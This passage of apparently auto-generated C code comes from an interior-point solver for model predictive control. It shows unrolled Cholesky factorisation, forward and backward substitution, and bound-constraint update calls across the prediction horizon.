controlMPC_LA_DENSE_MMTSUB_2_2(controlMPC_Lsd14, controlMPC_Yd14); controlMPC_LA_DENSE_CHOL_2(controlMPC_Yd14, controlMPC_Ld14); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd14, controlMPC_yy13, controlMPC_beta14, controlMPC_bmy14); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld14, controlMPC_bmy14, controlMPC_yy14); controlMPC_LA_DENSE_MATRIXTFORWARDSUB_2_2(controlMPC_Ld14, controlMPC_Ysd15, controlMPC_Lsd15); controlMPC_LA_DENSE_MMTSUB_2_2(controlMPC_Lsd15, controlMPC_Yd15); controlMPC_LA_DENSE_CHOL_2(controlMPC_Yd15, controlMPC_Ld15); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd15, controlMPC_yy14, controlMPC_beta15, controlMPC_bmy15); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld15, controlMPC_bmy15, controlMPC_yy15); controlMPC_LA_DENSE_MATRIXTFORWARDSUB_2_2(controlMPC_Ld15, controlMPC_Ysd16, controlMPC_Lsd16); controlMPC_LA_DENSE_MMTSUB_2_2(controlMPC_Lsd16, controlMPC_Yd16); controlMPC_LA_DENSE_CHOL_2(controlMPC_Yd16, controlMPC_Ld16); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd16, controlMPC_yy15, controlMPC_beta16, controlMPC_bmy16); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld16, controlMPC_bmy16, controlMPC_yy16); controlMPC_LA_DENSE_MATRIXTFORWARDSUB_2_2(controlMPC_Ld16, controlMPC_Ysd17, controlMPC_Lsd17); controlMPC_LA_DENSE_MMTSUB_2_2(controlMPC_Lsd17, controlMPC_Yd17); controlMPC_LA_DENSE_CHOL_2(controlMPC_Yd17, controlMPC_Ld17); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd17, controlMPC_yy16, controlMPC_beta17, controlMPC_bmy17); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld17, controlMPC_bmy17, controlMPC_yy17); controlMPC_LA_DENSE_MATRIXTFORWARDSUB_2_2(controlMPC_Ld17, controlMPC_Ysd18, controlMPC_Lsd18); controlMPC_LA_DENSE_MMTSUB_2_2(controlMPC_Lsd18, controlMPC_Yd18); controlMPC_LA_DENSE_CHOL_2(controlMPC_Yd18, controlMPC_Ld18); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd18, controlMPC_yy17, controlMPC_beta18, controlMPC_bmy18); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld18, controlMPC_bmy18, controlMPC_yy18); controlMPC_LA_DENSE_MATRIXTFORWARDSUB_2_2(controlMPC_Ld18, controlMPC_Ysd19, controlMPC_Lsd19); controlMPC_LA_DENSE_MMTSUB_2_2(controlMPC_Lsd19, controlMPC_Yd19); controlMPC_LA_DENSE_CHOL_2(controlMPC_Yd19, controlMPC_Ld19); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd19, controlMPC_yy18, controlMPC_beta19, controlMPC_bmy19); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld19, controlMPC_bmy19, controlMPC_yy19); controlMPC_LA_DENSE_MATRIXTFORWARDSUB_2_2(controlMPC_Ld19, controlMPC_Ysd20, controlMPC_Lsd20); controlMPC_LA_DENSE_MMTSUB_2_2(controlMPC_Lsd20, controlMPC_Yd20); controlMPC_LA_DENSE_CHOL_2(controlMPC_Yd20, controlMPC_Ld20); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd20, controlMPC_yy19, controlMPC_beta20, controlMPC_bmy20); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld20, controlMPC_bmy20, controlMPC_yy20); controlMPC_LA_DENSE_MATRIXTFORWARDSUB_2_2(controlMPC_Ld20, controlMPC_Ysd21, controlMPC_Lsd21); controlMPC_LA_DENSE_MMTSUB_2_2(controlMPC_Lsd21, controlMPC_Yd21); controlMPC_LA_DENSE_CHOL_2(controlMPC_Yd21, controlMPC_Ld21); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd21, controlMPC_yy20, controlMPC_beta21, controlMPC_bmy21); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld21, controlMPC_bmy21, controlMPC_yy21); controlMPC_LA_DENSE_MATRIXTFORWARDSUB_2_2(controlMPC_Ld21, controlMPC_Ysd22, controlMPC_Lsd22); controlMPC_LA_DENSE_MMTSUB_2_2(controlMPC_Lsd22, controlMPC_Yd22); controlMPC_LA_DENSE_CHOL_2(controlMPC_Yd22, controlMPC_Ld22); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd22, controlMPC_yy21, controlMPC_beta22, controlMPC_bmy22); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld22, controlMPC_bmy22, controlMPC_yy22); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld22, controlMPC_yy22, controlMPC_dvaff22); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd22, controlMPC_dvaff22, controlMPC_yy21, controlMPC_bmy21); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld21, controlMPC_bmy21, controlMPC_dvaff21); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd21, controlMPC_dvaff21, controlMPC_yy20, controlMPC_bmy20); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld20, controlMPC_bmy20, controlMPC_dvaff20); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd20, controlMPC_dvaff20, controlMPC_yy19, controlMPC_bmy19); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld19, controlMPC_bmy19, controlMPC_dvaff19); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd19, controlMPC_dvaff19, controlMPC_yy18, controlMPC_bmy18); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld18, controlMPC_bmy18, controlMPC_dvaff18); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd18, controlMPC_dvaff18, controlMPC_yy17, controlMPC_bmy17); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld17, controlMPC_bmy17, controlMPC_dvaff17); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd17, controlMPC_dvaff17, controlMPC_yy16, controlMPC_bmy16); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld16, controlMPC_bmy16, controlMPC_dvaff16); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd16, controlMPC_dvaff16, controlMPC_yy15, controlMPC_bmy15); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld15, controlMPC_bmy15, controlMPC_dvaff15); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd15, controlMPC_dvaff15, controlMPC_yy14, controlMPC_bmy14); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld14, controlMPC_bmy14, controlMPC_dvaff14); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd14, controlMPC_dvaff14, controlMPC_yy13, controlMPC_bmy13); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld13, controlMPC_bmy13, controlMPC_dvaff13); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd13, controlMPC_dvaff13, controlMPC_yy12, controlMPC_bmy12); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld12, controlMPC_bmy12, controlMPC_dvaff12); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd12, controlMPC_dvaff12, controlMPC_yy11, controlMPC_bmy11); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld11, controlMPC_bmy11, controlMPC_dvaff11); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd11, controlMPC_dvaff11, controlMPC_yy10, controlMPC_bmy10); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld10, controlMPC_bmy10, controlMPC_dvaff10); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd10, controlMPC_dvaff10, controlMPC_yy09, controlMPC_bmy09); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld09, controlMPC_bmy09, controlMPC_dvaff09); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd09, controlMPC_dvaff09, controlMPC_yy08, controlMPC_bmy08); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld08, controlMPC_bmy08, controlMPC_dvaff08); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd08, controlMPC_dvaff08, controlMPC_yy07, controlMPC_bmy07); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld07, controlMPC_bmy07, controlMPC_dvaff07); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd07, controlMPC_dvaff07, controlMPC_yy06, controlMPC_bmy06); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld06, controlMPC_bmy06, controlMPC_dvaff06); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd06, controlMPC_dvaff06, controlMPC_yy05, controlMPC_bmy05); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld05, controlMPC_bmy05, controlMPC_dvaff05); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd05, controlMPC_dvaff05, controlMPC_yy04, controlMPC_bmy04); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld04, controlMPC_bmy04, controlMPC_dvaff04); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd04, controlMPC_dvaff04, controlMPC_yy03, controlMPC_bmy03); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld03, controlMPC_bmy03, controlMPC_dvaff03); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd03, controlMPC_dvaff03, controlMPC_yy02, controlMPC_bmy02); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld02, controlMPC_bmy02, controlMPC_dvaff02); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd02, controlMPC_dvaff02, controlMPC_yy01, controlMPC_bmy01); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld01, controlMPC_bmy01, controlMPC_dvaff01); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd01, controlMPC_dvaff01, controlMPC_yy00, controlMPC_bmy00); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld00, controlMPC_bmy00, controlMPC_dvaff00); controlMPC_LA_DENSE_MTVM_2_2(controlMPC_C00, controlMPC_dvaff00, controlMPC_grad_eq00); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvaff01, controlMPC_D01, controlMPC_dvaff00, controlMPC_grad_eq01); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvaff02, controlMPC_D01, controlMPC_dvaff01, controlMPC_grad_eq02); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvaff03, controlMPC_D01, controlMPC_dvaff02, controlMPC_grad_eq03); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvaff04, controlMPC_D01, controlMPC_dvaff03, controlMPC_grad_eq04); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvaff05, controlMPC_D01, controlMPC_dvaff04, controlMPC_grad_eq05); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvaff06, controlMPC_D01, controlMPC_dvaff05, controlMPC_grad_eq06); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvaff07, controlMPC_D01, controlMPC_dvaff06, controlMPC_grad_eq07); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvaff08, controlMPC_D01, controlMPC_dvaff07, controlMPC_grad_eq08); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvaff09, controlMPC_D01, controlMPC_dvaff08, controlMPC_grad_eq09); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvaff10, controlMPC_D01, controlMPC_dvaff09, controlMPC_grad_eq10); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvaff11, controlMPC_D01, controlMPC_dvaff10, controlMPC_grad_eq11); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvaff12, controlMPC_D01, controlMPC_dvaff11, controlMPC_grad_eq12); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvaff13, controlMPC_D01, controlMPC_dvaff12, controlMPC_grad_eq13); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvaff14, controlMPC_D01, controlMPC_dvaff13, controlMPC_grad_eq14); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvaff15, controlMPC_D01, controlMPC_dvaff14, controlMPC_grad_eq15); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvaff16, controlMPC_D01, controlMPC_dvaff15, controlMPC_grad_eq16); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvaff17, controlMPC_D01, controlMPC_dvaff16, controlMPC_grad_eq17); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvaff18, controlMPC_D01, controlMPC_dvaff17, controlMPC_grad_eq18); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvaff19, controlMPC_D01, controlMPC_dvaff18, controlMPC_grad_eq19); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvaff20, controlMPC_D01, controlMPC_dvaff19, controlMPC_grad_eq20); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvaff21, controlMPC_D01, controlMPC_dvaff20, controlMPC_grad_eq21); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvaff22, controlMPC_D01, controlMPC_dvaff21, controlMPC_grad_eq22); controlMPC_LA_DIAGZERO_MTVM_2_2(controlMPC_D01, controlMPC_dvaff22, controlMPC_grad_eq23); controlMPC_LA_VSUB2_48(controlMPC_rd, controlMPC_grad_eq, controlMPC_rd); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi00, controlMPC_rd00, controlMPC_dzaff00); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi01, controlMPC_rd01, controlMPC_dzaff01); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi02, controlMPC_rd02, controlMPC_dzaff02); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi03, controlMPC_rd03, controlMPC_dzaff03); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi04, controlMPC_rd04, controlMPC_dzaff04); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi05, controlMPC_rd05, controlMPC_dzaff05); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi06, controlMPC_rd06, controlMPC_dzaff06); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi07, controlMPC_rd07, controlMPC_dzaff07); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi08, controlMPC_rd08, controlMPC_dzaff08); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi09, controlMPC_rd09, controlMPC_dzaff09); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi10, controlMPC_rd10, controlMPC_dzaff10); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi11, controlMPC_rd11, controlMPC_dzaff11); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi12, controlMPC_rd12, controlMPC_dzaff12); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi13, controlMPC_rd13, controlMPC_dzaff13); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi14, controlMPC_rd14, controlMPC_dzaff14); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi15, controlMPC_rd15, controlMPC_dzaff15); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi16, controlMPC_rd16, controlMPC_dzaff16); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi17, controlMPC_rd17, controlMPC_dzaff17); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi18, controlMPC_rd18, controlMPC_dzaff18); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi19, controlMPC_rd19, controlMPC_dzaff19); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi20, controlMPC_rd20, controlMPC_dzaff20); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi21, controlMPC_rd21, controlMPC_dzaff21); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi22, controlMPC_rd22, controlMPC_dzaff22); controlMPC_LA_DIAG_FORWARDBACKWARDSUB_2(controlMPC_Phi23, controlMPC_rd23, controlMPC_dzaff23); controlMPC_LA_VSUB_INDEXED_2(controlMPC_dzaff00, controlMPC_lbIdx00, controlMPC_rilb00, controlMPC_dslbaff00); controlMPC_LA_VSUB3_2(controlMPC_llbbyslb00, controlMPC_dslbaff00, controlMPC_llb00, controlMPC_dllbaff00); controlMPC_LA_VSUB2_INDEXED_2(controlMPC_riub00, controlMPC_dzaff00, controlMPC_ubIdx00, controlMPC_dsubaff00); controlMPC_LA_VSUB3_2(controlMPC_lubbysub00, controlMPC_dsubaff00, controlMPC_lub00, controlMPC_dlubaff00); controlMPC_LA_VSUB_INDEXED_2(controlMPC_dzaff01, controlMPC_lbIdx01, controlMPC_rilb01, controlMPC_dslbaff01); controlMPC_LA_VSUB3_2(controlMPC_llbbyslb01, controlMPC_dslbaff01, controlMPC_llb01, controlMPC_dllbaff01); controlMPC_LA_VSUB2_INDEXED_2(controlMPC_riub01, controlMPC_dzaff01, controlMPC_ubIdx01, controlMPC_dsubaff01); controlMPC_LA_VSUB3_2(controlMPC_lubbysub01, controlMPC_dsubaff01, controlMPC_lub01, controlMPC_dlubaff01); controlMPC_LA_VSUB_INDEXED_2(controlMPC_dzaff02, controlMPC_lbIdx02, controlMPC_rilb02, controlMPC_dslbaff02); controlMPC_LA_VSUB3_2(controlMPC_llbbyslb02, controlMPC_dslbaff02, controlMPC_llb02, controlMPC_dllbaff02); controlMPC_LA_VSUB2_INDEXED_2(controlMPC_riub02, controlMPC_dzaff02, controlMPC_ubIdx02, controlMPC_dsubaff02); controlMPC_LA_VSUB3_2(controlMPC_lubbysub02, controlMPC_dsubaff02, controlMPC_lub02, controlMPC_dlubaff02); controlMPC_LA_VSUB_INDEXED_2(controlMPC_dzaff03, controlMPC_lbIdx03, controlMPC_rilb03, controlMPC_dslbaff03); controlMPC_LA_VSUB3_2(controlMPC_llbbyslb03, controlMPC_dslbaff03, controlMPC_llb03, controlMPC_dllbaff03); controlMPC_LA_VSUB2_INDEXED_2(controlMPC_riub03, controlMPC_dzaff03, controlMPC_ubIdx03, controlMPC_dsubaff03); controlMPC_LA_VSUB3_2(controlMPC_lubbysub03, controlMPC_dsubaff03, controlMPC_lub03, controlMPC_dlubaff03); controlMPC_LA_VSUB_INDEXED_2(controlMPC_dzaff04, controlMPC_lbIdx04, controlMPC_rilb04, controlMPC_dslbaff04); controlMPC_LA_VSUB3_2(controlMPC_llbbyslb04, controlMPC_dslbaff04, controlMPC_llb04, controlMPC_dllbaff04); controlMPC_LA_VSUB2_INDEXED_2(controlMPC_riub04, controlMPC_dzaff04, controlMPC_ubIdx04, controlMPC_dsubaff04); controlMPC_LA_VSUB3_2(controlMPC_lubbysub04, controlMPC_dsubaff04, controlMPC_lub04, controlMPC_dlubaff04); controlMPC_LA_VSUB_INDEXED_2(controlMPC_dzaff05, controlMPC_lbIdx05, controlMPC_rilb05, controlMPC_dslbaff05); controlMPC_LA_VSUB3_2(controlMPC_llbbyslb05, controlMPC_dslbaff05, controlMPC_llb05, controlMPC_dllbaff05); controlMPC_LA_VSUB2_INDEXED_2(controlMPC_riub05, controlMPC_dzaff05, controlMPC_ubIdx05, controlMPC_dsubaff05); controlMPC_LA_VSUB3_2(controlMPC_lubbysub05, controlMPC_dsubaff05, controlMPC_lub05, controlMPC_dlubaff05); controlMPC_LA_VSUB_INDEXED_2(controlMPC_dzaff06, controlMPC_lbIdx06, controlMPC_rilb06, controlMPC_dslbaff06); controlMPC_LA_VSUB3_2(controlMPC_llbbyslb06, controlMPC_dslbaff06, controlMPC_llb06, controlMPC_dllbaff06); controlMPC_LA_VSUB2_INDEXED_2(controlMPC_riub06, controlMPC_dzaff06, controlMPC_ubIdx06, controlMPC_dsubaff06); controlMPC_LA_VSUB3_2(controlMPC_lubbysub06, controlMPC_dsubaff06, controlMPC_lub06, controlMPC_dlubaff06); controlMPC_LA_VSUB_INDEXED_2(controlMPC_dzaff07, controlMPC_lbIdx07, controlMPC_rilb07, controlMPC_dslbaff07); controlMPC_LA_VSUB3_2(controlMPC_llbbyslb07, controlMPC_dslbaff07, controlMPC_llb07, controlMPC_dllbaff07); controlMPC_LA_VSUB2_INDEXED_2(controlMPC_riub07, controlMPC_dzaff07, controlMPC_ubIdx07, controlMPC_dsubaff07); controlMPC_LA_VSUB3_2(controlMPC_lubbysub07, controlMPC_dsubaff07, controlMPC_lub07, controlMPC_dlubaff07); controlMPC_LA_VSUB_INDEXED_2(controlMPC_dzaff08, controlMPC_lbIdx08, controlMPC_rilb08, controlMPC_dslbaff08); controlMPC_LA_VSUB3_2(controlMPC_llbbyslb08, controlMPC_dslbaff08, controlMPC_llb08, controlMPC_dllbaff08); controlMPC_LA_VSUB2_INDEXED_2(controlMPC_riub08, controlMPC_dzaff08, controlMPC_ubIdx08, controlMPC_dsubaff08); controlMPC_LA_VSUB3_2(controlMPC_lubbysub08, controlMPC_dsubaff08, controlMPC_lub08, controlMPC_dlubaff08); controlMPC_LA_VSUB_INDEXED_2(controlMPC_dzaff09, controlMPC_lbIdx09, controlMPC_rilb09, controlMPC_dslbaff09); controlMPC_LA_VSUB3_2(controlMPC_llbbyslb09, controlMPC_dslbaff09, controlMPC_llb09, controlMPC_dllbaff09); controlMPC_LA_VSUB2_INDEXED_2(controlMPC_riub09, controlMPC_dzaff09, controlMPC_ubIdx09, controlMPC_dsubaff09); controlMPC_LA_VSUB3_2(controlMPC_lubbysub09, controlMPC_dsubaff09, controlMPC_lub09, controlMPC_dlubaff09); controlMPC_LA_VSUB_INDEXED_2(controlMPC_dzaff10, controlMPC_lbIdx10, controlMPC_rilb10, controlMPC_dslbaff10); controlMPC_LA_VSUB3_2(controlMPC_llbbyslb10, controlMPC_dslbaff10, controlMPC_llb10, controlMPC_dllbaff10); controlMPC_LA_VSUB2_INDEXED_2(controlMPC_riub10, controlMPC_dzaff10, controlMPC_ubIdx10, controlMPC_dsubaff10); controlMPC_LA_VSUB3_2(controlMPC_lubbysub10, controlMPC_dsubaff10, controlMPC_lub10, controlMPC_dlubaff10); controlMPC_LA_VSUB_INDEXED_2(controlMPC_dzaff11, controlMPC_lbIdx11, controlMPC_rilb11, controlMPC_dslbaff11); controlMPC_LA_VSUB3_2(controlMPC_llbbyslb11, controlMPC_dslbaff11, controlMPC_llb11, controlMPC_dllbaff11); controlMPC_LA_VSUB2_INDEXED_2(controlMPC_riub11, controlMPC_dzaff11, controlMPC_ubIdx11, controlMPC_dsubaff11); controlMPC_LA_VSUB3_2(controlMPC_lubbysub11, controlMPC_dsubaff11, controlMPC_lub11, controlMPC_dlubaff11); controlMPC_LA_VSUB_INDEXED_2(controlMPC_dzaff12, controlMPC_lbIdx12, controlMPC_rilb12, controlMPC_dslbaff12); controlMPC_LA_VSUB3_2(controlMPC_llbbyslb12, controlMPC_dslbaff12, controlMPC_llb12, controlMPC_dllbaff12); controlMPC_LA_VSUB2_INDEXED_2(controlMPC_riub12, controlMPC_dzaff12, controlMPC_ubIdx12, controlMPC_dsubaff12); controlMPC_LA_VSUB3_2(controlMPC_lubbysub12, controlMPC_dsubaff12, controlMPC_lub12, controlMPC_dlubaff12); controlMPC_LA_VSUB_INDEXED_2(controlMPC_dzaff13, controlMPC_lbIdx13, controlMPC_rilb13, controlMPC_dslbaff13); controlMPC_LA_VSUB3_2(controlMPC_llbbyslb13, controlMPC_dslbaff13, controlMPC_llb13, controlMPC_dllbaff13); controlMPC_LA_VSUB2_INDEXED_2(controlMPC_riub13, controlMPC_dzaff13, controlMPC_ubIdx13, controlMPC_dsubaff13); controlMPC_LA_VSUB3_2(controlMPC_lubbysub13, controlMPC_dsubaff13, controlMPC_lub13, controlMPC_dlubaff13); controlMPC_LA_VSUB_INDEXED_2(controlMPC_dzaff14, controlMPC_lbIdx14, controlMPC_rilb14, controlMPC_dslbaff14); controlMPC_LA_VSUB3_2(controlMPC_llbbyslb14, controlMPC_dslbaff14, controlMPC_llb14, controlMPC_dllbaff14); controlMPC_LA_VSUB2_INDEXED_2(controlMPC_riub14, controlMPC_dzaff14, controlMPC_ubIdx14, controlMPC_dsubaff14); controlMPC_LA_VSUB3_2(controlMPC_lubbysub14, controlMPC_dsubaff14, controlMPC_lub14, controlMPC_dlubaff14); controlMPC_LA_VSUB_INDEXED_2(controlMPC_dzaff15, controlMPC_lbIdx15, controlMPC_rilb15, controlMPC_dslbaff15); controlMPC_LA_VSUB3_2(controlMPC_llbbyslb15, controlMPC_dslbaff15, controlMPC_llb15, controlMPC_dllbaff15); controlMPC_LA_VSUB2_INDEXED_2(controlMPC_riub15, controlMPC_dzaff15, controlMPC_ubIdx15, controlMPC_dsubaff15); controlMPC_LA_VSUB3_2(controlMPC_lubbysub15, controlMPC_dsubaff15, controlMPC_lub15, controlMPC_dlubaff15); controlMPC_LA_VSUB_INDEXED_2(controlMPC_dzaff16, controlMPC_lbIdx16, controlMPC_rilb16, controlMPC_dslbaff16); controlMPC_LA_VSUB3_2(controlMPC_llbbyslb16, controlMPC_dslbaff16, controlMPC_llb16, controlMPC_dllbaff16); controlMPC_LA_VSUB2_INDEXED_2(controlMPC_riub16, controlMPC_dzaff16, controlMPC_ubIdx16, controlMPC_dsubaff16); controlMPC_LA_VSUB3_2(controlMPC_lubbysub16, controlMPC_dsubaff16, controlMPC_lub16, controlMPC_dlubaff16); controlMPC_LA_VSUB_INDEXED_2(controlMPC_dzaff17, controlMPC_lbIdx17, controlMPC_rilb17, controlMPC_dslbaff17); controlMPC_LA_VSUB3_2(controlMPC_llbbyslb17, controlMPC_dslbaff17, controlMPC_llb17, controlMPC_dllbaff17); controlMPC_LA_VSUB2_INDEXED_2(controlMPC_riub17, controlMPC_dzaff17, controlMPC_ubIdx17, controlMPC_dsubaff17); controlMPC_LA_VSUB3_2(controlMPC_lubbysub17, controlMPC_dsubaff17, controlMPC_lub17, controlMPC_dlubaff17); controlMPC_LA_VSUB_INDEXED_2(controlMPC_dzaff18, controlMPC_lbIdx18, controlMPC_rilb18, controlMPC_dslbaff18); controlMPC_LA_VSUB3_2(controlMPC_llbbyslb18, controlMPC_dslbaff18, controlMPC_llb18, controlMPC_dllbaff18); controlMPC_LA_VSUB2_INDEXED_2(controlMPC_riub18, controlMPC_dzaff18, controlMPC_ubIdx18, controlMPC_dsubaff18); controlMPC_LA_VSUB3_2(controlMPC_lubbysub18, controlMPC_dsubaff18, controlMPC_lub18, controlMPC_dlubaff18); controlMPC_LA_VSUB_INDEXED_2(controlMPC_dzaff19, controlMPC_lbIdx19, controlMPC_rilb19, controlMPC_dslbaff19); controlMPC_LA_VSUB3_2(controlMPC_llbbyslb19, controlMPC_dslbaff19, controlMPC_llb19, controlMPC_dllbaff19); controlMPC_LA_VSUB2_INDEXED_2(controlMPC_riub19, controlMPC_dzaff19, controlMPC_ubIdx19, controlMPC_dsubaff19); controlMPC_LA_VSUB3_2(controlMPC_lubbysub19, controlMPC_dsubaff19, controlMPC_lub19, controlMPC_dlubaff19); controlMPC_LA_VSUB_INDEXED_2(controlMPC_dzaff20, controlMPC_lbIdx20, controlMPC_rilb20, controlMPC_dslbaff20); controlMPC_LA_VSUB3_2(controlMPC_llbbyslb20, controlMPC_dslbaff20, controlMPC_llb20, controlMPC_dllbaff20); controlMPC_LA_VSUB2_INDEXED_2(controlMPC_riub20, controlMPC_dzaff20, controlMPC_ubIdx20, controlMPC_dsubaff20); controlMPC_LA_VSUB3_2(controlMPC_lubbysub20, controlMPC_dsubaff20, controlMPC_lub20, controlMPC_dlubaff20); controlMPC_LA_VSUB_INDEXED_2(controlMPC_dzaff21, controlMPC_lbIdx21, controlMPC_rilb21, controlMPC_dslbaff21); controlMPC_LA_VSUB3_2(controlMPC_llbbyslb21, controlMPC_dslbaff21, controlMPC_llb21, 